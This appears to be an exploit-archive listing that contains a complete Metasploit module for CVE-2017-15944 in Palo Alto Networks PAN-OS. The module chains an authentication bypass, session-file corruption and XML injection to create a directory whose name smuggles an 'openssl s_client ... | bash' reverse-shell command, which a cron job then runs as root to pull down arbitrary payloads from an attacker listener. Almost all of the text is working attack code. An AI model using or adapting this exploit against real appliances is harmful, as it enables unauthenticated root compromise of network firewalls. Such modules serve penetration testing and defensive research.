Palo Alto Networks readSessionVarsFromFile() Session Corruption

2018.05.08
Credit: H D Moore
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Palo Alto Networks readSessionVarsFromFile() Session Corruption', 'Description' => %q{ This module exploits a chain of vulnerabilities in Palo Alto Networks products running PAN-OS versions prior to 6.1.19, 7.0.19, 7.1.14, and 8.0.6. This chain starts by using an authentication bypass flaw to to exploit an XML injection issue, which is then abused to create an arbitrary directory, and finally gains root code execution by exploiting a vulnerable cron script. This module uses an initial reverse TLS callback to stage arbitrary payloads on the target appliance. The cron job used for the final payload runs every 15 minutes by default and exploitation can take up to 20 minutes. }, 'Author' => [ 'Philip Pettersson <philip.pettersson[at]gmail com>', # Vulnerability discovery 'hdm' # Metasploit module ], 'References' => [ ['CVE', '2017-15944'], ['URL', 'http://seclists.org/fulldisclosure/2017/Dec/38'], ['BID', '102079'], ], 'DisclosureDate' => 'Dec 11 2017', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => {'BadChars' => '', 'Space' => 8000, 'DisableNops' => true}, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => {'WfsDelay' => 2} )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) ]) end def exploit # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) # Start a listener start_listener(true) # Figure out the port we picked cbport = self.service.getsockname[2] # Set the base directory and the staging payload directory path name base_directory = "/opt/pancfg/mgmt/logdb/traffic/1/" command_payload = "* -print -exec bash -c openssl${IFS}s_client${IFS}-quiet${IFS}-connect${IFS}#{cbhost}:#{cbport}|bash ; " target_directory = base_directory + command_payload if target_directory.length > 255 print_error("The selected payload or options resulted in an encoded command that is too long (255+ bytes)") return end dev_str_1 = Rex::Text.rand_text_alpha_lower(1+rand(10)) dev_str_2 = Rex::Text.rand_text_alpha_lower(1+rand(10)) user_id = rand(2000).to_s print_status("Creating our corrupted session ID...") # Obtain a session cookie linked to a corrupted session file. A raw request # is needed to prevent encoding of the parameters injected into the session res = send_request_raw( 'method' => 'GET', 'uri' => "/esp/cms_changeDeviceContext.esp?device=#{dev_str_1}:#{dev_str_2}%27\";user|s.\"#{user_id}\";" ) unless res && res.body.to_s.index('@start@Success@end@') print_error("Unexpected response when creating the corrupted session cookie: #{res.code} #{res.message}") return end cookies = res.get_cookies unless cookies =~ /PHPSESSID=([a-fA-F0-9]+)/ print_error("Unexpected cookie response when creating the corrupted session cookie: #{res.code} #{res.message} #{cookies}") return end create_directory_tid = 1 + rand(1000) create_directory_json = JSON.dump({ "action" => "PanDirect", "method" => "execute", "data" => [ Rex::Text.md5(create_directory_tid.to_s), "Administrator.get", { "changeMyPassword" => true, "template" => Rex::Text.rand_text_alpha_lower(rand(9) + 3), "id" => "admin']\" async-mode='yes' refresh='yes' cookie='../../../../../..#{target_directory}'/>\x00" } ], "type" => "rpc", "tid" => create_directory_tid }) print_status("Calling Administrator.get to create directory under #{base_directory}...") res = send_request_cgi( 'method' => 'POST', 'uri' => '/php/utils/router.php/Administrator.get', 'cookie' => cookies, 'ctype' => "application/json", 'data' => create_directory_json ) unless res && res.body.to_s.index('Async request enqueued') print_error("Unexpected response when calling Administrator.get method: #{res.code} #{res.message}") return end register_dirs_for_cleanup(base_directory) print_status("Waiting up to 20 minutes for the cronjob to fire and execute...") expiry = Time.at(Time.now.to_i + (60*20)).to_i last_notice = 0 while expiry > Time.now.to_i && ! session_created? if last_notice + 30 < Time.now.to_i print_status("Waiting for a session, #{expiry - Time.now.to_i} seconds left...") last_notice = Time.now.to_i end sleep(1) end unless session_created? print_error("No connection received from the target, giving up.") end end def stage_real_payload(cli) print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") cli.put(payload.encoded + "\n") end def start_listener(ssl = false) comm = datastore['ListenerComm'] if comm == "local" comm = ::Rex::Socket::Comm::Local else comm = nil end self.service = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['CBPORT'], 'SSL' => true, 'SSLCert' => datastore['SSLCert'], 'Comm' => comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self, }) self.service.on_client_connect_proc = Proc.new { |client| stage_real_payload(client) } # Start the listening service self.service.start end def cleanup super if self.service print_status("Shutting down payload stager listener...") begin self.service.deref if self.service.kind_of?(Rex::Service) if self.service.kind_of?(Rex::Socket) self.service.close self.service.stop end self.service = nil rescue ::SocketError end end end # Accessor for our TCP payload stager attr_accessor :service end


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